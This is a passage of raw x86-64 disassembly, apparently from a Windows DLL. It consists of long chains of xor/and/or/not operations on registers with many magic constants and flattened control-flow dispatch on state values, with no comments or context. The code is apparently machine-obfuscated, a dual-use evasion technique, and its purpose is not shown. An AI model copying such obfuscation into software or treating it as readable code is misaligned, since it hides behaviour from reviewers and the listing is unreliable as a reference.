or al, r13b
mov ecx, r11d
xor cl, r8b
or r11b, r8b
xor r11b, 1
or r11b, cl
xor r11b, al
xor r9b, r15b
mov ecx, eax
and cl, r8b
xor al, r8b
or al, cl
mov ecx, r11d
xor cl, al
or al, r11b
xor al, 1
or al, cl
and r15b, r9b
xor r15b, 1
mov ecx, r15d
xor cl, r9b
or r15b, r9b
xor r15b, 1
or r15b, cl
mov ecx, eax
xor cl, 1
mov ebx, r15d
xor bl, 1
and bl, r15b
mov r9d, ebx
and r9b, r15b
xor bl, r15b
or bl, r9b
and cl, bl
xor bl, 1
and bl, al
or bl, cl
and r12b, r10b
xor r12b, 1
mov eax, r12d
xor al, r10b
or r12b, r10b
xor r12b, 1
or r12b, al
mov eax, r12d
and al, r13b
xor r12b, 1
and r12b, r8b
or r12b, al
mov eax, r13d
and al, r10b
xor r10b, r13b
or r10b, al
xor r12b, 1
mov eax, r12d
xor al, r10b
or r12b, r10b
xor r12b, 1
or r12b, al
mov eax, ebx
xor al, 1
mov r8d, r12d
mov ecx, eax
xor al, r12b
xor r12b, 1
and r8b, bl
and cl, r12b
or cl, r8b
or r12b, bl
xor r12b, 1
or r12b, al
xor r12b, 1
mov eax, ecx
and al, r12b
xor r12b, cl
or r12b, al
mov ebx, r12d
xor bl, 1
mov ecx, r12d
or cl, bl
mov r8d, ecx
xor r8b, 1
mov eax, ebx
xor al, cl
and al, bl
and r8b, r12b
and cl, bl
or cl, r8b
mov ebx, eax
xor bl, 1
xor al, cl
xor cl, 1
or cl, bl
xor cl, 1
or cl, al
mov eax, ecx
xor al, 1
mov edx, esi
xor dl, 1
mov ebx, ecx
xor bl, dl
and al, dl
and sil, cl
or sil, al
xor sil, 1
or sil, dl
xor bl, 1
and bl, cl
or dl, cl
xor dl, 1
mov eax, ebx
and al, dl
xor dl, bl
or dl, al
mov eax, esi
xor al, dl
xor dl, 1
or dl, sil
xor dl, 1
xor al, 1
mov ecx, edx
and cl, al
xor al, dl
or al, cl
mov ebx, eax
xor bl, 1
mov ecx, ebx
or cl, al
mov edx, ecx
xor dl, 1
and dl, cl
mov r8d, ecx
and r8b, dl
xor dl, cl
or dl, r8b
xor dl, al
mov r8d, eax
and r8b, cl
xor al, cl
or al, r8b
xor al, 1
mov r8d, edx
and r8b, al
xor al, dl
or al, r8b
mov edx, eax
xor dl, 1
and al, dl
mov r8d, edx
and r8b, al
xor al, dl
or al, r8b
mov edx, eax
xor dl, 1
mov r8d, eax
xor r8b, dl
or dl, al
xor dl, 1
or dl, r8b
xor dl, 1
xor bl, cl
and bl, cl
mov eax, ebx
xor al, 1
and al, bl
xor al, 1
mov ecx, ebx
xor cl, al
or al, bl
xor al, 1
or al, cl
mov ebx, eax
xor bl, 1
mov ecx, ebx
or cl, al
xor cl, 1
mov r8d, eax
and r8b, cl
xor cl, al
or cl, r8b
mov eax, ecx
xor al, dl
xor al, 1
and al, cl
or cl, dl
xor al, 1
mov r8d, eax
xor r8b, cl
or al, cl
xor al, 1
or al, r8b
mov ecx, edx
or cl, bl
xor cl, 1
xor bl, dl
mov edx, ecx
and dl, bl
xor bl, cl
or bl, dl
mov ecx, ebx
xor cl, 1
mov edx, ebx
and dl, al
xor al, 1
and cl, al
or cl, dl
mov edx, eax
and dl, bl
xor al, bl
or al, dl
xor al, 1
mov edx, ecx
and dl, al
xor al, cl
or al, dl
mov ecx, eax
xor cl, 1
mov edx, eax
and dl, cl
mov ebx, eax
and bl, dl
xor dl, al
or dl, bl
xor al, dl
xor dl, 1
or dl, cl
mov ecx, edx
xor cl, al
xor al, 1
xor cl, 1
or al, dl
xor al, 1
or al, cl
mov r8d, eax
xor r8b, 1
mov r9d, edi
xor r9b, 1
mov r11d, edi
or r11b, r9b
mov ecx, r11d
xor cl, 1
mov r10d, ecx
and r10b, r11b
mov ebx, edi
and bl, r9b
mov edx, r10d
xor r10b, cl
mov esi, ebx
and sil, dil
xor bl, dil
or cl, dil
xor dil, r8b
xor dil, 1
mov ebp, edi
xor bpl, r9b
xor dil, bpl
xor dil, 1
and dil, bpl
xor dl, 1
or dl, r11b
xor dl, 1
or dl, r10b
or bl, sil
xor bl, dl
mov r10d, eax
or r10b, r8b
xor r11b, r9b
mov edx, r10d
xor dl, 1
xor cl, 1
or cl, r11b
mov r9d, ebx
xor r9b, 1
xor bl, cl
xor bl, 1
or cl, r9b
xor cl, 1
or cl, bl
mov ebx, r10d
and bl, dl
mov r9d, r10d
xor r9b, bl
xor bl, 1
or bl, dl
xor bl, 1
or bl, r9b
mov r9d, ebx
xor r9b, 1
and r9b, al
and bl, r8b
or bl, r9b
xor r10b, al
or dl, r8b
xor dl, 1
or dl, r10b
xor bl, 1
mov eax, ebx
xor al, dl
or bl, dl
xor bl, 1
or bl, al
mov r8d, ebx
xor r8b, 1
mov eax, ebx
and al, r8b
mov edx, eax
xor al, bl
xor dl, 1
or dl, r8b
xor dl, 1
or dl, al
xor dl, cl
mov eax, edi
xor al, 1
mov ecx, eax
mov ebx, eax
and al, dl
xor dl, 1
and cl, dl
xor bl, dl
or bl, cl
and dl, dil
mov ecx, ebx
xor cl, 1
or al, dl
mov edx, eax
xor dl, 1
and al, bl
and cl, dl
or cl, al
mov eax, ebx
and al, dl
xor dl, bl
or dl, al
mov eax, ecx
xor al, dl
test al, 1
mov ebp, 0xf625e900
mov eax, 0xec7220f9
cmovne ebp, eax
test dl, 1
mov eax, 0xf625e900
cmovne eax, ebp
test cl, 1
cmove eax, ebp
jmp 0x180001050
cmp ecx, 0xf625e900
je 0x18001a762
mov eax, ecx
cmp ecx, 0xfcadb58b
jne 0x180001050
jmp 0x180001046
mov eax, dword [0x180087b94]
mov r11d, eax
neg r11d
not r11d
imul r11d, eax
mov r10d, r11d
not r10d
mov eax, r10d
and eax, 0x42020294
mov ecx, r11d
and ecx, 0x408042a
or ecx, eax
xor ecx, 0x408042a
mov eax, r11d
xor eax, 0x460a06be
and eax, r11d
mov edx, ecx
and edx, eax
xor eax, ecx
or eax, edx
mov ecx, eax
not ecx
and ecx, 0xb9f5f941
and eax, 0x460a06be
or eax, ecx
mov ecx, eax
not ecx
and ecx, 0x5eb580ed
and eax, 0xa14a7f12
or eax, ecx
mov edx, eax
xor edx, 0x81420610
xor eax, 0x5eb580ed
mov ecx, r10d
and ecx, 0xdd59d674
mov ebp, r11d
and ebp, 0x22a6298b
or ebp, ecx
xor ebp, 0x22a6298b
mov ecx, ebp
xor ecx, r10d
and ecx, ebp
and edx, 0x99628650
mov ebp, eax
and ebp, 0x669d79af
or ebp, edx
mov ebx, ebp
xor ebx, 0x669d79af
mov edi, ecx
not edi
and edi, 0x767a811d
mov edx, ecx
and edx, 0x89857ee2
or edx, edi
xor edx, 0x89857ee2
xor ebp, 0xe3cd5f25
and ebp, ebx
and eax, 0x8550268a
mov edi, edx
and edi, 0x7aafd975
and ecx, 0x8550268a
or ecx, edi
mov edi, ebp
and edi, eax
xor eax, ebp
or eax, edi
mov ebp, eax
not ebp
and ebp, ecx
not ecx
and ecx, eax
or ecx, ebp
mov eax, ebx
and eax, edx
xor edx, ebx
or edx, eax
mov eax, edx
not eax
and eax, 0x6628db2c
and edx, 0x99d724d3
or edx, eax
mov ebp, edx
xor ebp, 0x891324c2
mov eax, ecx
not eax
xor edx, 0x6628db2c
mov ebx, eax
and ebx, 0x32c4da15
and ecx, 0xcd3b25ea
or ecx, ebx
or eax, edx
and edx, 0x32c4da15
and ebp, 0xcd3b25ea
or ebp, edx
xor ebp, ecx
not eax
or eax, ebp
mov r9d, r10d
and r9d, r11d
mov ecx, eax
not ecx
mov edx, eax
xor edx, 0x5b0db96e
and edx, eax
or eax, 0xa4f24691
mov ebp, edx
not ebp
mov ebx, eax
and ebx, 0x503e8f23
and ecx, 0xb01304c
or ecx, ebx
or eax, ebp
and ebp, 0x503e8f23
and edx, 0xafc170dc
or edx, ebp
xor edx, ecx
not eax
or eax, edx
mov ecx, eax
not ecx
and ecx, 0xa8fa58f4
and eax, 0x5705a70b
or eax, ecx
mov ebx, eax
xor ebx, 0xc081e65
mov ecx, eax
xor ecx, 0xb275af89
and ecx, ebx
xor eax, 0x10752100
and eax, 0x18752100
and ebx, 0xa60890ec
or ebx, eax
xor ebx, 0xa60890ec
mov eax, ecx
and eax, ebx
xor ebx, ecx
or ebx, eax
mov eax, ebx
not eax
and eax, 0x41824e13
xor ebx, 0xbe7db1ec
or ebx, eax
mov eax, ebx
not eax
mov ecx, r10d
and ecx, 0x430688
mov edx, r11d
and edx, 0x40186801
or edx, ecx
xor edx, 0x40186801
mov ecx, r11d
and ecx, 0xbfa49176
or ecx, edx
mov edx, ecx
not edx
and edx, 0xfe26df65
and ecx, 0x1d9209a
or ecx, edx
mov edx, ecx
not edx
mov ebp, ecx
and ebp, 0xce530bf0
and edx, 0x31acf40f
or edx, ebp
mov ebp, r11d
and ebp, 0xce530bf0
mov edi, r10d
and edi, 0x31acf40f
or edi, ebp
xor edi, edx
or ecx, r11d
not ecx
or ecx, edi
mov edx, eax
mov ebp, ecx
mov edi, ebx
and edi, 0x370e287f
and eax, 0xc8f1d780
or eax, edi
xor eax, 0x370e287f
or eax, ecx
not ecx
mov edi, ebx
and edi, 0xba5c490f
and edx, 0x45a3b6f0
or edx, edi
mov edi, ecx
and edi, 0xba5c490f
and ebp, 0x45a3b6f0
or ebp, edi
xor ebp, edx
mov edx, ebp
xor edx, ebx
and edx, ebp
mov ebp, eax
not ebp
or ecx, ebx
mov ebx, ecx
not ebx
mov edi, eax
and edi, 0xa13fcdfe
and ebp, 0x5ec03201
or ebp, edi
or eax, ecx
and ecx, 0xa13fcdfe
and ebx, 0x5ec03201
or ebx, ecx
xor ebx, ebp
not eax
or eax, ebx
mov ecx, edx
not ecx
and ecx, 0xc47d5f92
mov ebp, edx
and ebp, 0x3b82a06d
or ebp, ecx
mov r8d, ebp
xor r8d, 0x3b82a06d
mov ebx, eax
not ebx
and ebx, 0x5c2e8c19
mov edi, eax
and edi, 0xa3d173e6
or edi, ebx
mov ebx, edi
xor ebx, 0xa3d173e6
mov esi, ebp
xor esi, 0x61275ccf
and esi, r8d
and edx, 0x5aa5fca2
mov ecx, edi
xor ecx, 0xf9748f44
and ecx, ebx
and eax, 0x5aa5fca2
mov r14d, esi
and r14d, edx
xor edx, esi
or edx, r14d
mov esi, ecx
and esi, eax
xor eax, ecx
or eax, esi
mov ecx, edx
not ecx
and ecx, eax
not eax
and eax, edx
or eax, ecx
xor ebp, 0xc47d5f92
xor edi, 0x5c2e8c19
mov ecx, ebp
and ecx, 0xe758433f
and r8d, 0x18a7bcc0
or r8d, ecx
or ebp, edi
and edi, 0xe758433f
and ebx, 0x18a7bcc0
or ebx, edi
xor ebx, r8d
not ebp
or ebp, ebx
mov ecx, ebp
not ecx
mov ebx, eax
not ebx
mov edx, ebx
and edx, 0x5f9b35af
and eax, 0xa064ca50
or eax, edx
or ebx, ebp
and ebp, 0x5f9b35af
and ecx, 0xa064ca50
or ecx, ebp
xor ecx, eax
not ebx
or ebx, ecx
mov eax, ebx
not eax
mov ecx, ebx
xor ecx, 0xeab77a32
and ecx, ebx
mov edx, ebx
or edx, 0x154885cd
mov ebp, ecx
not ebp
mov edi, edx
and edi, 0x6ab481f5
mov esi, eax
and esi, 0x80037a02
or esi, edi
or edx, ebp
and ebp, 0x6ab481f5
and ecx, 0x954b7e0a
or ecx, ebp
xor ecx, esi
not edx
or edx, ecx
mov ecx, edx
not ecx
and ecx, 0x69bdac3c
and edx, 0x964253c3
or edx, ecx
mov ecx, edx
xor ecx, 0x4c152930
xor edx, 0x8002c00c
and edx, 0xb0e2c0cd
and ecx, 0x4f1d3f32
or ecx, edx
mov edx, ecx
xor edx, 0xb0c1c02
and edx, 0x9b0edc02
xor ecx, 0x20e000cd
and ecx, 0x64f123fd
or ecx, edx
mov edx, ecx
xor edx, 0x9b0edc02
and edx, ecx
and ebx, 0x2052ef25
mov ecx, eax
and ecx, 0xdfad10da
or ecx, ebx
xor ecx, 0x44a3ccd8
and eax, 0x64f123fd
or eax, ecx
mov ecx, eax
not ecx
mov ebx, edx
not ebx
mov ebp, ebx
and ebp, 0x9ed7a276
and edx, 0x61285d89
or edx, ebp
mov r8d, edx
xor r8d, 0x61285d89
mov edi, eax
and edi, 0xca38a700
xor eax, 0xfe715acd
and eax, ecx
and ecx, 0x35c758ff
or ecx, edi
mov edi, ecx
xor edi, 0x35c758ff
xor edx, 0x9f590744
and edx, r8d
or ebx, 0x18ea532
mov ebp, ebx
not ebp
xor ecx, 0xcbb60232
and ecx, edi
mov esi, edx
not esi
mov r14d, esi
and r14d, 0xaa2fabae
and edx, 0x55d05451
or edx, r14d
or esi, ebx
and ebx, 0xaa2fabae
and ebp, 0x54505041
or ebp, ebx
xor ebp, edx
not esi
or esi, ebp
mov edx, ecx
not edx
mov ebx, eax
not ebx
mov ebp, edx
and ebp, 0xbe4881a
and ecx, 0xf41b77e5
or ecx, ebp
or edx, ebx
and ebx, 0xbe4881a
and eax, 0xf41b77e5
or eax, ebx
xor eax, ecx
not edx
or edx, eax
mov eax, esi
not eax
and eax, 0x856ea481
and esi, 0x7a915b7e
or esi, eax
mov eax, edx
not eax
and eax, 0x856ea481
and edx, 0x7a915b7e
or edx, eax
xor edx, esi
mov eax, r8d
and eax, edi
xor edi, r8d
or edi, eax
mov eax, edi
not eax
and eax, 0x80f0e09d
and edi, 0x7f0f1f62
or edi, eax
xor edi, 0x7f0f1f62
mov eax, edx
and eax, edi
xor edi, edx
or edi, eax
mov eax, edi
xor eax, 0xbc80067d
and eax, edi
not edi
and edi, 0xbc80067d
mov ecx, edi
and ecx, eax
xor eax, edi
or eax, ecx
mov ecx, eax
not ecx
and ecx, 0x63fea164
and eax, 0x9c015e9b
or eax, ecx
mov ecx, eax
xor ecx, 0xfa0dcaf7
mov edx, eax
xor edx, 0x4000000
and edx, 0x24084040
xor eax, 0x574589a7
and eax, ecx
and ecx, 0x89400310
or ecx, edx
xor ecx, 0x89400310
mov edx, ecx
and edx, eax
xor eax, ecx
or eax, edx
mov ecx, eax
not ecx
and ecx, 0x52b7bcaf
and eax, 0xad484350
or eax, ecx
mov ebp, eax
not ebp
mov edx, ebp
and edx, eax
mov ebx, edx
not ebx
mov ecx, ebx
and ecx, 0x45d861f7
and edx, 0xba279e08
or edx, ecx
or ebx, ebp
and ebp, 0x45d861f7
and eax, 0xba279e08
or eax, ebp
xor eax, edx
not ebx
or ebx, eax
mov eax, ebx
not eax
mov edx, ebx
and edx, 0x89ce9ad8
mov esi, eax
and esi, 0x76316527
or esi, edx
mov r8d, esi
xor r8d, 0x89ce9ad8
xor esi, 0x76316527
mov edx, r8d
and edx, 0x860b5cf1
mov edi, esi
and edi, 0x79f4a30e
or edi, edx
xor edi, 0xe8f1a68a
mov edx, esi
and edx, 0x6efafa7b
or edx, edi
mov ecx, edx
not ecx
and ecx, 0x7b1fc459
and edx, 0x84e03ba6
or edx, ecx
mov edi, edx
xor edi, 0x4a00322
xor edx, 0x7b1fc459
and eax, 0x91050584
xor ebx, 0x6efafa7b
or ebx, eax
mov ecx, ebx
not ecx
mov eax, edx
or eax, ebx
mov ebp, eax
not ebp
and edx, 0xe958f88d
and edi, 0x16a70772
or edi, edx
and ebx, 0xe958f88d
and ecx, 0x16a70772
or ecx, ebx
xor ecx, edi
mov edx, ecx
not edx
mov edi, eax
and edi, 0xa861e8bb
and ebp, 0x579e1744
or ebp, edi
or eax, edx
and edx, 0xa861e8bb
and ecx, 0x579e1744
or ecx, edx
xor ecx, ebp
not eax
or eax, ecx
mov ecx, eax
not ecx
and ecx, 0x6ba36f4f
and eax, 0x945c90b0
or eax, ecx
mov ecx, eax
not ecx
and ecx, 0x3edcfb9e
and eax, 0xc1230461
or eax, ecx
mov r12d, eax
xor r12d, 0xc47a9155
mov ecx, esi
and ecx, 0xd69d17bc
mov edx, r8d
and edx, 0x2962e843
or edx, ecx
mov ecx, edx
xor ecx, 0x20408842
xor edx, 0xd69d17bc
mov edi, esi
and edi, 0x19236001
and r8d, 0xe6dc9ffe
or r8d, edi
or esi, edx
and edx, 0x19236001
and ecx, 0xe6dc9ffe
or ecx, edx
xor ecx, r8d
not esi
or esi, ecx
mov ecx, esi
mov edx, esi
xor edx, 0x60ba04cc
and edx, esi
not esi
and esi, 0x60b0008c
and ecx, 0xa0440
or ecx, esi
mov edi, ecx
xor edi, 0xfff5fbbf
mov ebp, edx
not ebp
mov esi, edi
and esi, 0xbaab8e59
and ecx, 0x40100084
or ecx, esi
or edi, ebp
and ebp, 0xbaab8e59
and edx, 0x455471a6
or edx, ebp
xor edx, ecx
not edi
or edi, edx
mov ecx, edi
not ecx
and ecx, 0x2dfd300c
and edi, 0xd202cff3
or edi, ecx
mov ecx, edi
xor ecx, 0x2900007
xor edi, 0x45401480
and ecx, 0xa972047
and edi, 0xf568dfb8
or edi, ecx
mov r8d, edi
xor r8d, 0xf568dfb8
mov r14d, edi
xor r14d, 0xa120007
mov r15d, eax
xor r15d, 0x3b856eaa
xor eax, 0xcfbd348e
and eax, r15d
mov ecx, r15d
or ecx, 0xbc7a5db
mov edx, ecx
not edx
mov esi, r8d
or esi, 0xf4385a24
mov ebp, esi
not ebp
xor edi, 0xfeaf7a63
and edi, r8d
mov ebx, eax
not ebx
mov r13d, ebx
and r13d, 0x6790efcf
and eax, 0x986f1030
or eax, r13d
or ebx, ecx
and ecx, 0x6790efcf
and edx, 0x90281020
or edx, ecx
xor edx, eax
not ebx
or ebx, edx
mov eax, edi
not eax
mov ecx, esi
and ecx, 0x9266ecdf
and ebp, 0x9810100
or ebp, ecx
or esi, eax
and eax, 0x9266ecdf
and edi, 0x6d991320
or edi, eax
xor edi, ebp
not esi
or esi, edi
mov eax, ebx
not eax
and eax, esi
not esi
and esi, ebx
or esi, eax
mov eax, r12d
and eax, 0x658d7458
and r15d, 0x9a728ba7
or r15d, eax
or r12d, r8d
and r8d, 0x658d7458
and r14d, 0x9a728ba7
or r14d, r8d
xor r14d, r15d
not r12d
or r12d, r14d
mov eax, r12d
not eax
and eax, 0x55cf4b60
and r12d, 0xaa30b49f
or r12d, eax
xor r12d, 0xaa30b49f
mov eax, esi
and eax, r12d
xor r12d, esi
or r12d, eax
mov edi, r12d
not edi
mov eax, r12d
and r12d, 0x1b9b0cc3
mov ecx, edi
and ecx, 0xe464f33c
or ecx, r12d
xor ecx, 0xe464f33c
or ecx, edi
and edi, 0xaee43d9
and eax, 0xf511bc26
or eax, edi
mov edx, eax
not edx
and edx, 0x7eb0ec15
and eax, 0x814f13ea
or eax, edx
mov edx, eax
xor edx, 0x80805013
xor eax, 0x704e8640
and eax, 0x7b6f8660
and edx, 0x8490799f
or edx, eax
mov eax, edx
xor eax, 0x8000700a
xor edx, 0x196e8440
and edx, 0x1dfe8dd5
and eax, 0xe201722a
or eax, edx
mov edx, eax
xor edx, 0xe201722a
xor eax, 0x1dfe8dd5
mov ebp, ecx
not ebp
and ebp, eax
or eax, ecx
mov ebx, eax
not ebx
and ecx, edx
or ecx, ebp
mov edx, ecx
not edx
mov ebp, eax
and ebp, 0x98fb6bf0
and ebx, 0x6704940f
or ebx, ebp
or eax, edx
and edx, 0x98fb6bf0
and ecx, 0x6704940f
or ecx, edx
xor ecx, ebx
not eax
or eax, ecx
mov ecx, eax
not ecx
mov ebp, ecx
and ebp, 0xef076b56
mov edx, eax
xor edx, 0xef076b56
and edx, eax
mov ebx, ebp
and ebx, edx
xor edx, ebp
or edx, ebx
mov ebp, edx
not ebp
and ebp, 0xef076b56
and edx, 0x10f894a9
or edx, ebp
mov r8d, edx
not r8d
mov esi, r8d
and esi, 0x23e5b589
and edx, 0xdc1a4a76
or edx, esi
and eax, 0x23e5b589
and ecx, 0xdc1a4a76
or ecx, eax
xor ecx, edx
xor r8d, ecx
and r8d, ecx
mov eax, r10d
and eax, r9d
xor r9d, r10d
or r9d, eax
mov eax, r9d
not eax
and eax, 0x38185f6a
xor r9d, 0xc7e7a095
or r9d, eax
mov eax, r10d
and eax, 0xc7e7a095
and r11d, 0x38185f6a
or r11d, eax
xor r10d, r11d
and r10d, r11d
mov eax, r10d
xor eax, 0xf2be8d9b
mov edi, eax
and eax, r10d
not r10d
mov ebp, r9d
and edi, r10d
mov ebx, r9d
and ebx, r10d
xor r10d, r9d
not r9d
and ebp, 0xf2be8d9b
and r9d, 0xd417264
or r9d, ebp
mov edx, edi
and edx, eax
xor eax, edi
or eax, edx
mov edx, r9d
not edx
and edx, 0x5c93217c
and r9d, 0xa36cde83
or r9d, edx
mov edx, eax
not edx
and edx, 0x5c93217c
and eax, 0xa36cde83
or eax, edx
xor eax, r9d
or r10d, ebx
mov ecx, r10d
not ecx
mov edx, eax
not edx
mov ebp, edx
and ebp, 0x24d2ee72
and eax, 0xdb2d118d
or eax, ebp
or edx, r10d
and r10d, 0x24d2ee72
and ecx, 0xdb2d118d
or ecx, r10d
xor ecx, eax
not edx
or edx, ecx
mov eax, edx
not eax
and eax, 0xcc2aa2eb
and edx, 0x33d55d14
or edx, eax
mov eax, edx
not eax
and eax, 0xf432fd81
and edx, 0xbcd027e
or edx, eax
mov ebp, edx
mov ecx, edx
xor ecx, 0x6c561251
and ecx, edx
not edx
and ebp, 0x4906c433
mov r9d, edx
and r9d, 0xb6f93bcc
or r9d, ebp
mov edi, r9d
xor edi, 0x4906c433
and edx, 0x6c561251
mov ebp, edx
and ebp, ecx
xor ecx, edx
or ecx, ebp
mov edx, ecx
not edx
and edx, 0x47956c06
and ecx, 0xb86a93f9
or ecx, edx
mov ebx, ecx
xor ebx, 0xd43c81a8
mov edx, ecx
xor edx, 0x28c27c42
and edx, 0xa8fa7d42
xor ecx, 0xaba87d93
and ecx, ebx
and ebx, 0x570582bd
or ebx, edx
mov ebp, ebx
xor ebp, 0x570582bd
xor r9d, 0xc96dc7f7
and r9d, edi
xor ebx, 0xd76e8179
and ebx, ebp
mov r10d, edi
and r10d, ebp
xor ebp, edi
or edi, 0x7f94fc3b
mov esi, edi
not esi
mov eax, r9d
not eax
mov edx, eax
and edx, 0x909ebc36
and r9d, 0x6f6143c9
or r9d, edx
or eax, edi
and edi, 0x909ebc36
and esi, 0x6103c0
or esi, edi
xor esi, r9d
not eax
or eax, esi
mov edx, ebx
and edx, ecx
xor ecx, ebx
or ecx, edx
mov edx, eax
not edx
and edx, ecx
not ecx
and ecx, eax
or ecx, edx
or ebp, r10d
mov eax, ebp
not eax
mov edi, ecx
not edi
mov edx, edi
and edx, 0x60dbcc4a
and ecx, 0x9f2433b5
or ecx, edx
or edi, ebp
and ebp, 0x60dbcc4a
and eax, 0x9f2433b5
or eax, ebp
xor eax, ecx
not edi
or edi, eax
mov edx, edi
not edx
mov ecx, edx
and ecx, 0xda410060
mov eax, edi
and eax, 0x20281383
or eax, ecx
mov ecx, eax
xor ecx, 0x281083
xor eax, 0xdfd7ec7c
mov ebx, edi
xor ebx, 0xfa6913e3
and ebx, edi
mov ebp, ebx
not ebp
mov esi, eax
and esi, 0xf0d08b74
and ecx, 0xa291083
or ecx, esi
or eax, ebp
and ebp, 0xf0d08b74
and ebx, 0xf2f748b
or ebx, ebp
xor ebx, ecx
not eax
or eax, ebx
mov ecx, eax
not ecx
and ecx, 0x596ec1c
and eax, 0xfa6913e3
or eax, ecx
mov ecx, eax
not ecx
and ecx, 0x3216be16
and eax, 0xcde941e9
or eax, ecx
mov ebx, eax
xor ebx, 0xcde941e9
xor eax, 0x2049212
and eax, 0xc764927b
mov ecx, ebx
and ecx, 0x389b6d84
or ecx, eax
xor ecx, 0x8f996c36
and ebx, 0x48fdfe4d
or ebx, ecx
mov eax, ebx
not eax
and eax, 0xeb3a00da
and ebx, 0x14c5ff25
or ebx, eax
mov ecx, ebx
xor ecx, 0x14c5ff25
and edx, 0xb70201b2
xor edi, 0x48fdfe4d
or edi, edx
mov edx, ebx
xor edx, 0xeb3a00da
xor ebx, 0xa6ff827e
mov eax, ebx
and eax, edx
mov ebp, edi
mov r9d, edx
and r9d, edi
xor edx, edi
not edi
and ebx, ecx
and ebp, 0xb23a7d5b
and edi, 0x4dc582a4
or edi, ebp
mov ecx, eax
not ecx
mov ebp, ebx
not ebp
mov esi, ecx
and esi, 0x5bf30119
and eax, 0xa40cfee6
or eax, esi
or ecx, ebp
and ebp, 0x5bf30119
and ebx, 0xa40cfee6
or ebx, ebp
xor ebx, eax
not ecx
or ecx, ebx
mov eax, ecx
not eax
and eax, edi
not edi
and edi, ecx
or edi, eax
or edx, r9d
mov eax, edx
not eax
and eax, 0x9fb65ade
and edx, 0x6049a521
or edx, eax
xor edx, 0x6049a521
mov eax, edi
and eax, edx
xor edx, edi
or edx, eax
mov r13d, edx
xor r13d, 0x7137bf2f
and r13d, edx
not edx
and edx, 0x7137bf2f
mov ecx, edx
and ecx, r13d
xor r13d, edx
or r13d, ecx
mov ecx, r13d
not ecx
and ecx, 0x39ca4162
and r13d, 0xc635be9d
or r13d, ecx
mov ebx, r13d
not ebx
mov edx, ebx
and edx, 0xc23bc965
mov eax, r13d
and eax, 0x3dc4369a
or eax, edx
mov ebp, eax
xor ebp, 0x24c02090
xor eax, 0x2000801
mov ecx, ebx
or ecx, 0x2ff928db
mov edx, ecx
not edx
or eax, 0x10020220
and eax, 0x1b020a2b
and ebp, 0x24f920d0
or ebp, eax
and ecx, 0x1b020a2b
and edx, 0xc004d504
or edx, ecx
xor edx, ebp
mov eax, edx
not eax
and eax, 0x6ae3f2f4
and edx, 0x951c0d0b
or edx, eax
xor edx, 0xbae525d0
and ebx, 0x59add799
and r13d, 0xa6522866
or r13d, ebx
xor r13d, 0xa6522866
mov eax, edx
and eax, r13d
xor r13d, edx
or r13d, eax
mov eax, r13d
not eax
and eax, 0xfeb49efe
and r13d, 0x14b6101
or r13d, eax
mov ebp, r13d
xor ebp, 0x14b6101
mov r11d, r8d
not r11d
mov r10d, r11d
and r10d, r8d
mov eax, r11d
and eax, r10d
xor r10d, r11d
or r10d, eax
mov r9d, r13d
xor r9d, 0xfeb49efe
mov r14d, ebp
mov r15d, ebp
xor r13d, 0x2d680235
and r13d, ebp
and ebp, 0x1bdd2849
mov ecx, r9d
and ecx, 0xe422d7b6
or ecx, ebp
mov eax, ecx
xor eax, 0x124d2041
mov edx, r10d
not edx
and edx, 0xd0858160
mov ebx, r10d
and ebx, 0x2f7a7e9f
or ebx, edx
mov r12d, ebx
xor r12d, 0x2f7a7e9f
xor ecx, 0xe422d7b6
mov ebp, ecx
and ebp, 0x8db05e0e
and eax, 0x724fa1f1
or eax, ebp
mov ebp, eax
xor ebp, 0x724fa1f1
xor ebx, 0x1d2f947a
and ebx, r12d
and r10d, 0x3255eae5
xor eax, 0x401a4b14
and eax, ebp
or ecx, 0xcdaa151a
mov esi, ecx
not esi
mov edx, ebx
and edx, r10d
xor r10d, ebx
or r10d, edx
mov edx, eax
not edx
mov ebx, edx
and ebx, 0x929adf2e
and eax, 0x6d6520d1
or eax, ebx
or edx, ecx
and ecx, 0x929adf2e
and esi, 0x204520c1
or esi, ecx
xor esi, eax
not edx
or edx, esi
mov eax, r10d
not eax
and eax, edx
not edx
and edx, r10d
or edx, eax
mov eax, r12d
and eax, ebp
xor ebp, r12d
or ebp, eax
mov eax, ebp
not eax
mov ecx, edx
not ecx
mov ebx, ecx
and ebx, 0x2d791e15
and edx, 0xd286e1ea
or edx, ebx
or ecx, ebp
and ebp, 0x2d791e15
and eax, 0xd286e1ea
or eax, ebp
xor eax, edx
not ecx
or ecx, eax
mov eax, ecx
not eax
and eax, 0xdeef56f3
and ecx, 0x2110a90c
or ecx, eax
mov r12d, ecx
xor r12d, 0x110a000
xor ecx, 0x5aad0243
and ecx, 0x7aad0b4f
and r12d, 0x8552f4b0
or r12d, ecx
mov eax, r12d
xor eax, 0x20050b4d
xor r12d, 0x50f4b0
and eax, 0xa5070b4d
and r12d, 0x5af8f4b2
or r12d, eax
mov r10d, r12d
xor r10d, 0xa5070b4d
xor r12d, 0x5af8f4b2
mov eax, r11d
mov ecx, r9d
and r9d, 0xc202310
and r15d, 0x20034024
or r15d, r9d
xor r15d, 0x20034024
mov ebp, r15d
and ebp, r13d
xor r13d, r15d
or r13d, ebp
mov edi, r13d
not edi
and edi, 0xd3dc9ccb
and r13d, 0x2c236334
or r13d, edi
mov ebp, r13d
not ebp
and ebp, 0x60fc6752
and r13d, 0x9f0398ad
or r13d, ebp
mov ebp, r13d
xor ebp, 0x9f0398ad
and ebp, r11d
xor r13d, 0x60fc6752
and r13d, r8d
or r13d, ebp
not r13d
or r13d, r11d
or r11d, 0x2d26b17
mov ebp, r11d
not ebp
or r8d, 0xa50c9400
and r8d, 0xa55cb501
and eax, 0x2824a16
or eax, r8d
and r11d, 0xa55cb501
and ebp, 0x582100e8
or ebp, r11d
xor ebp, eax
mov eax, ebp
not eax
and eax, 0xb9885dc3
and ebp, 0x4677a23c
or ebp, eax
and ecx, 0x3f53662c
and r14d, 0xc0ac99d3
or r14d, ecx
xor r14d, 0xc0ac99d3
xor ebp, 0xbb5a36d4
mov eax, r14d
and eax, ebp
xor ebp, r14d
or ebp, eax
mov eax, ebp
not eax
and eax, 0xa5868f52
and ebp, 0x5a7970ad
or ebp, eax
mov edi, ebp
xor edi, 0x5a7970ad
mov r11d, r13d
not r11d
mov r9d, ebp
xor r9d, 0x1820f02
mov ebx, edi
or ebx, 0xccd0e70c
mov edx, ebx
not edx
xor ebp, 0x6956685e
and ebp, edi
mov ecx, r13d
xor ecx, 0xccd0e70c
mov r8d, ecx
and r8d, r13d
and ecx, r11d
mov eax, ebp
not eax
mov esi, ebx
and esi, 0x6262d7b5
and edx, 0x110d0842
or edx, esi
or ebx, eax
and eax, 0x6262d7b5
